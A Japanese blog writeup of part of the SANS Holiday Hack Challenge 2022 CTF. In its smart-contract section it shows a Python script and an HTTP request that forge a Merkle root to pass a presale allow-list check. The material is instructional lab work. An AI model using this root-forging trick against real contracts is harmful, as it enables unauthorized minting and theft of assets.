はまやんはまやんはまやん

hamayanhamayan's blog

Recover the Burning Ring of Fire - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [7/8]

English ver. -> https://hackmd.io/@POkJ8tzYSMKRnIFAFaPw4w/SJnFgxLYj
まとめトップ

 
 
 

Recover the Burning Ring of Fire

Buy a Hat

Difficulty: ★★
Travel to the Burning Ring of Fire and purchase a hat from the vending machine with KringleCoin. Find hints for this objective hidden throughout the tunnels.

帽子が買える自動販売機で1つ買えばクリア。
書かれている通りにやればいい。
財布のアドレスを忘れた場合は、最初のステージOrientationに戻ればよく、秘密鍵を忘れた場合は、前述した隠し部屋に行けばわかる。

Blockchain Divination

Difficulty: ★★★★
Use the Blockchain Explorer in the Burning Ring of Fire to investigate the contracts and transactions on the chain.
At what address is the KringleCoin smart contract deployed? Find hints for this objective hidden throughout the tunnels.

依然見つけた隠し宝箱にヒントがある。

Find a transaction in the blockchain where someone sent or received KringleCoin! The Solidity Source File is listed as KringleCoin.sol. Tom's Talk might be helpful!

Blockchain Explorerを起動して、Block#1を見てみるとスマートコントラクトを作成している。
この時のアドレスがそのまま答え。
Contract Address: 0xc27A2D3DE339Ce353c0eFBa32e948a88F1C86554

Exploit a Smart Contract

Difficulty: ★★★★★
Exploit flaws in a smart contract to buy yourself a Bored Sporc NFT. Find hints for this objective hidden throughout the tunnels.

スマートコントラクトをクラックしてNFTを買う問題。
横の端末から買うことができ、値段が100 KringleCoin (KC)。
値段的には買えるのだが、Proof Valuesを適切に設定する必要がある。
適切なProof Valuesが見つかったら、
0xe8fC6f6a76BE243122E3d01A1c544F87f1264d3aに100KCを送金して戻って来るだけ。

ヒントは多分これ。

Hint: You're going to need a Merkle Tree of your own. Math is hard. Professor Petabyte can help you out. https://decentralizedthoughts.github.io/2020-12-22-what-is-a-merkle-tree/

Blockchain Explorerを見ると#2でNFT用のスマートコントラクトが登録されている。
検証をしている所を見ると、以下が怪しい。

    function verify(bytes32 leaf, bytes32 _root, bytes32[] memory proof) public view returns (bool) {
        bytes32 computedHash = leaf;
        for (uint i = 0; i < proof.length; i++) {
          bytes32 proofElement = proof[i];
          if (computedHash <= proofElement) {
            computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
          } else {
            computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
          }
        }
        return computedHash == _root;
    }
    
    function presale_mint(address to, bytes32 _root, bytes32[] memory _proof) public virtual {
        bool _preSaleIsActive = preSaleIsActive;
        require(_preSaleIsActive, "Presale is not currently active.");
        bytes32 leaf = keccak256(abi.encodePacked(to));
        require(verify(leaf, _root, _proof), "You are not on our pre-sale allow list!");
        _mint(to, _tokenIdTracker.current());
        _tokenIdTracker.increment();        
    }

コードを読むとマークルツリーの計算そのものをしている。
最初はtoのkeccak256を葉として、proofを順番にくっつけて同様にハッシュを取っている。
最終的に
rootと一致すればOK.

Blockchain Explorerを巡回すると#118, #76293で成功しているのが見つかり、以下のような感じになっていた。

#118
function: presale_mint(address,bytes32,bytes32[])
parameters: {'to': '0xa1861E96DeF10987E1793c8f77E811032069f8E9', '_root': b'\xc4t\x1e\x81\x06[\xff\x02v.\xd3\xce\x06ncY\xc1\xf4ae\x18\xe06\x99\xc8\x882\xef\x84\x91p\x14', '_proof': [b'S\x80\xc7\xb7\xae\x81\xa5\x8e\xb9\x8d\x9cx\xdeJ\x1f\xd7\xfd\x955\xfc\x95>\xd2\xbe`-\xaa\xa4\x17g1*']}

#76293
function: presale_mint(address,bytes32,bytes32[])
parameters: {'to': '0xd8AA7B14a0917171213b24cDc4aA82683E3dcfaE', '_root': b'S>Y\x0f\xc7\xf5K]\xecY]D\xda\x87\xbb\x11\x86\x8aI\xf4\x05\x89\x8e}C\xacQQ\xb3\xca$$', '_proof': [b'S\x80\xc7\xb7\xae\x81\xa5\x8e\xb9\x8d\x9cx\xdeJ\x1f\xd7\xfd\x955\xfc\x95>\xd2\xbe`-\xaa\xa4\x17g1*']}

見ると、_proofが同じ値になっている。
入力するProof Valuesは_rootの値になっているのではないか?
toは自分のものを使って_proofは固定なので、計算方法もわかっているので_rootが計算できる。
76293の例で以下のように試すといい感じ。

from Crypto.Hash import keccak
from Crypto.Util.number import *

to = 0xd8AA7B14a0917171213b24cDc4aA82683E3dcfaE
to = long_to_bytes(to)
_proof = b'S\x80\xc7\xb7\xae\x81\xa5\x8e\xb9\x8d\x9cx\xdeJ\x1f\xd7\xfd\x955\xfc\x95>\xd2\xbe`-\xaa\xa4\x17g1*'
_root = b'S>Y\x0f\xc7\xf5K]\xecY]D\xda\x87\xbb\x11\x86\x8aI\xf4\x05\x89\x8e}C\xacQQ\xb3\xca$$'

leaf = keccak.new(data=to, digest_bits=256).digest()
res = keccak.new(data=_proof+leaf, digest_bits=256).digest()
print(res)
print(_root)

で、Proof Valuesにrootを入れてみるがうまくいかない。
改めて通信を見てみると

あ、rootも送ってるじゃん!
検証に必要な要素はすべて送っているみたいなので、既知である_proofを付けて、それに合うrootを指定してやればよさそう。

from Crypto.Hash import keccak
from Crypto.Util.number import *
import binascii

to = 0x559382c264a9f431Fb35ae360b046775a79e2983
to = long_to_bytes(to)
_proof = b'S\x80\xc7\xb7\xae\x81\xa5\x8e\xb9\x8d\x9cx\xdeJ\x1f\xd7\xfd\x955\xfc\x95>\xd2\xbe`-\xaa\xa4\x17g1*'
print("Proof: 0x", binascii.hexlify(_proof))
leaf = keccak.new(data=to, digest_bits=256).digest()
res = keccak.new(data=_proof+leaf, digest_bits=256).digest()
print("Root: 0x", binascii.hexlify(res))

という感じで自分のアドレスからパラメタを作って、以下のように送る。

POST /cgi-bin/presale HTTP/2
Host: boredsporcrowboatsociety.com
Cookie: GCLB="03cc6f2c174c9ff7"
Content-Length: 277
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://boredsporcrowboatsociety.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://boredsporcrowboatsociety.com/presale.html?&challenge=bsrs&username=hamayanhamayan&id=aa9a889a-7556-4b12-8689-1c64161ad6aa&area=level5&location=13,15&tokens=
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8

{"WalletID":"0x559382c264a9f431Fb35ae360b046775a79e2983","Root":"0xf1451325a80213aa3574a87c2212bc8d71807d145bc0f363f19a6c7eeb29d4c3","Proof":"0x5380c7b7ae81a58eb98d9c78de4a1fd7fd9535fc953ed2be602daaa41767312a","Validate":"true","Session":"aa9a889a-7556-4b12-8689-1c64161ad6aa"}

{"Response": "You're on the list and good to go! Now... BUY A SPORC!"}
ok!

あとは、100KC支払って、先ほどのリクエストのValidateをfalseにして送りなおせばクリア!

ちなみに買ったNFTはThe Bored Sporc Rowboat SocietyのGalleryで実際に見ることができる。

傷持ちは意外とレアかもしれん。
ともあれ、リング獲得。全部揃った!

結局…

これは何だったんだろうか…
何かを見逃していそう…

 
 
 

次 -> フィナーレへ - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [8/8] - はまやんはまやんはまやん